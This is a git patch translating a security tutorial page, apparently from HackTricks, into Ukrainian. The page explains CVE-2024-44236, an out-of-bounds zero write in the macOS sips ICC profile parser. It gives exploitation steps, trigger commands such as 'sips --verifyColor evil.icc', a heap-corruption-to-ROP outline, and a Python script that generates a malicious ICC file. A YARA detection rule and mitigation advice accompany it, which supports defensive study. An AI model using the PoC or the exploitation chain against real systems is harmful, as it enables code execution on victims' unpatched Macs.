From 8cd4828c8a272f48c7a8718ba35f8f2df0fe1d14 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 30 Jul 2025 04:27:53 +0000 Subject: [PATCH] Translated ['src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips --- .../aw2exec-sips-icc-profile.md | 96 ++++++++++++++----- 1 file changed, 70 insertions(+), 26 deletions(-) diff --git a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md index 4aacb1229..ead127dab 100644 --- a/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md +++ b/src/binary-exploitation/arbitrary-write-2-exec/aw2exec-sips-icc-profile.md @@ -4,50 +4,94 @@ ## Огляд -Уразливість запису за межами меж у парсері ICC профілів Apple macOS Scriptable Image Processing System (`sips`) (macOS 15.0.1, sips-307) через неналежну валідацію поля `offsetToCLUT` у тегах `lutAToBType` (`mAB `) та `lutBToAType` (`mBA `). Створений ICC файл може викликати нульові записи до 16 байтів за межами буфера купи, пошкоджуючи метадані купи або вказівники функцій і дозволяючи виконання довільного коду (CVE-2024-44236). +Уразливість **нульового запису** поза межами в Apple macOS **Scriptable Image Processing System** (`sips`) парсера ICC профілю (macOS 15.0.1, `sips-307`) дозволяє зловмиснику пошкодити метадані купи та перевести примітив у повне виконання коду. Помилка знаходиться в обробці поля `offsetToCLUT` тегів `lutAToBType` (`mAB `) та `lutBToAType` (`mBA `). Якщо зловмисники встановлять `offsetToCLUT == tagDataSize`, парсер стирає **16 байт після кінця буфера купи**. Спосіб розподілу пам'яті дозволяє зловмиснику обнулити структури аллокатора або вказівники C++, які пізніше будуть розіменовані, що призводить до ланцюга **випадкового запису для виконання** (CVE-2024-44236, CVSS 7.8). + +> Apple виправила помилку в macOS Sonoma 15.2 / Ventura 14.7.1 (30 жовтня 2024 року). Друга варіація (CVE-2025-24185) була виправлена в macOS 15.5 та iOS/iPadOS 18.5 1 квітня 2025 року. ## Уразливий код - -Уразлива функція читає та обнуляє 16 байтів, починаючи з контролюваного зловмисником зсуву, не забезпечуючи, що він знаходиться в межах виділеного буфера: ```c -// Pseudocode from sub_1000194D0 in sips-307 (macOS 15.0.1) -for (i = offsetToCLUT; i < offsetToCLUT + 16; i++) { -if (i > numberOfInputChannels && buffer[i] != 0) -buffer[i] = 0; +// Pseudocode extracted from sub_1000194D0 in sips-307 (macOS 15.0.1) +if (offsetToCLUT <= tagDataSize) { +// BAD ➜ zero 16 bytes starting *at* offsetToCLUT +for (uint32_t i = offsetToCLUT; i < offsetToCLUT + 16; i++) +buffer[i] = 0; // no bounds check vs allocated size! } ``` -Виконується лише перевірка `offsetToCLUT <= totalDataLength`. Встановивши `offsetToCLUT == tagDataSize`, цикл індексує до 16 байтів за межами `buffer`, пошкоджуючи сусідні метадані купи. - ## Кроки експлуатації -1. **Створити шкідливий `.icc` профіль:** -- Побудувати заголовок ICC (128 байтів) з підписом `acsp` та єдиним записом тегу `lutAToBType` або `lutBToAType`. -- У таблиці тегів встановити `offsetToCLUT` рівним `size` тегу (`tagDataSize`). -- Розмістити дані, контрольовані атакуючим, безпосередньо після блоку даних тегу, щоб перезаписати метадані купи. -2. **Запустити парсинг:** +1. **Створіть шкідливий `.icc` профіль** + +* Налаштуйте мінімальний заголовок ICC (`acsp`) і додайте один тег `mAB ` (або `mBA `). +* Налаштуйте таблицю тегів так, щоб **`offsetToCLUT` дорівнював розміру тегу** (`tagDataSize`). +* Розмістіть дані, контрольовані атакуючим, безпосередньо після тегу, щоб 16 нульових записів перекривали метадані аллокатора. + +2. **Запустіть парсинг з будь-якою операцією sips, яка торкається профілю** ```bash -sips --verifyColor malicious.icc +# шлях перевірки (файл виводу не потрібен) +sips --verifyColor evil.icc +# або неявно при конвертації зображень, які вбудовують профіль +sips -s format png payload.jpg --out out.png ``` -3. **Пошкодження метаданих купи:** OOB нульові записи перезаписують метадані аллокатора або сусідні вказівники, дозволяючи атакуючому захопити контроль над потоком виконання та досягти виконання довільного коду в контексті процесу `sips`. +3. **Корупція метаданих купи ➜ довільний запис ➜ ROP** +В аллокаторі **`nano_zone`** за замовчуванням Apple, метадані для 16-байтових слотів знаходяться **безпосередньо після** вирівняного блоку 0x1000. Розміщуючи тег профілю в кінці такого блоку, 16 нульових записів знищують `meta->slot_B`. Після наступного `free`, отруєний вказівник ставиться в чергу в маленькому списку вільних, що дозволяє атакуючому **алокувати фейковий об'єкт за довільною адресою** і перезаписати вказівник vtable C++, що використовується sips, врешті-решт перенаправляючи виконання на ланцюг ROP, збережений у шкідливому буфері ICC. +### Швидкий генератор PoC (Python 3) +```python +#!/usr/bin/env python3 +import struct, sys + +HDR = b'acsp'.ljust(128, b'\0') # ICC header (magic + padding) +TAGS = [(b'mAB ', 132, 52)] # one tag directly after header +profile = HDR +profile += struct.pack('>I', len(TAGS)) # tag count +profile += b''.join(struct.pack('>4sII', *t) for t in TAGS) + +mab = bytearray(52) # tag payload (52 bytes) +struct.pack_into('>I', mab, 44, 52) # offsetToCLUT = size (OOB start) +profile += mab + +open('evil.icc', 'wb').write(profile) +print('[+] Wrote evil.icc (%d bytes)' % len(profile)) +``` +### Правило виявлення YARA +```yara +rule ICC_mAB_offsetToCLUT_anomaly +{ +meta: +description = "Detect CLUT offset equal to tag length in mAB/mBA (CVE-2024-44236)" +author = "HackTricks" +strings: +$magic = { 61 63 73 70 } // 'acsp' +$mab = { 6D 41 42 20 } // 'mAB ' +$mba = { 6D 42 41 20 } // 'mBA ' +condition: +$magic at 0 and +for any i in (0 .. 10): // up to 10 tags +( +($mab at 132 + 12*i or $mba at 132 + 12*i) and +uint32(132 + 12*i + 4) == uint32(132 + 12*i + 8) // offset == size +) +} +``` ## Вплив -Успішна експлуатація призводить до віддаленого виконання довільного коду з правами користувача на системах macOS, що виконують вразливу утиліту `sips`. +Відкриття або обробка спеціально підготовленого ICC профілю призводить до віддаленого **виконання довільного коду** в контексті викликаючого користувача (Preview, QuickLook, рендеринг зображень Safari, вкладення в Mail тощо), обходячи Gatekeeper, оскільки профіль може бути вбудований у інакше безпечні зображення (PNG/JPEG/TIFF). -## Виявлення +## Виявлення та пом'якшення -- Моніторинг передачі файлів за загальними протоколами (FTP, HTTP/S, IMAP, SMB, NFS, SMTP). -- Перевірка переданих файлів з підписом `acsp`. -- Для кожного тегу `mAB ` або `mBA ` перевірити, чи дорівнює поле `Offset to CLUT` `Tag data size`. -- Позначити як підозріле, якщо ця умова виконана. +* **Патч!** Переконайтеся, що хост працює на macOS ≥ 15.2 / 14.7.1 (або iOS/iPadOS ≥ 18.1). +* Розгорніть правило YARA вище на поштових шлюзах та рішеннях EDR. +* Видаліть або очистіть вбудовані ICC профілі за допомогою `exiftool -icc_profile= -overwrite_original ` перед подальшою обробкою ненадійних файлів. +* Посиліть Preview/QuickLook, запускаючи їх у пісочницях "прозорості та модернізації" ВМ під час аналізу невідомого контенту. +* Для DFIR шукайте нещодавнє виконання `sips --verifyColor` або завантаження бібліотеки `ColorSync` пісочничними додатками в об'єднаному журналі. ## Посилання -- ZDI blog: CVE-2024-44236: Вразливість віддаленого виконання коду в утиліті Apple macOS sips -https://www.thezdi.com/blog/2025/5/7/cve-2024-44236-remote-code-execution-vulnerability-in-apple-macos -- Оновлення безпеки Apple жовтня 2024 року (патч для CVE-2024-44236) -https://support.apple.com/en-us/121564 +* Trend Micro Zero Day Initiative advisory ZDI-24-1445 – “Apple macOS ICC Profile Parsing Out-of-Bounds Write Remote Code Execution (CVE-2024-44236)” +https://www.zerodayinitiative.com/advisories/ZDI-24-1445/ +* Apple security updates HT213981 “About the security content of macOS Sonoma 15.2” +https://support.apple.com/en-us/HT213981 {{#include ../../banners/hacktricks-training.md}}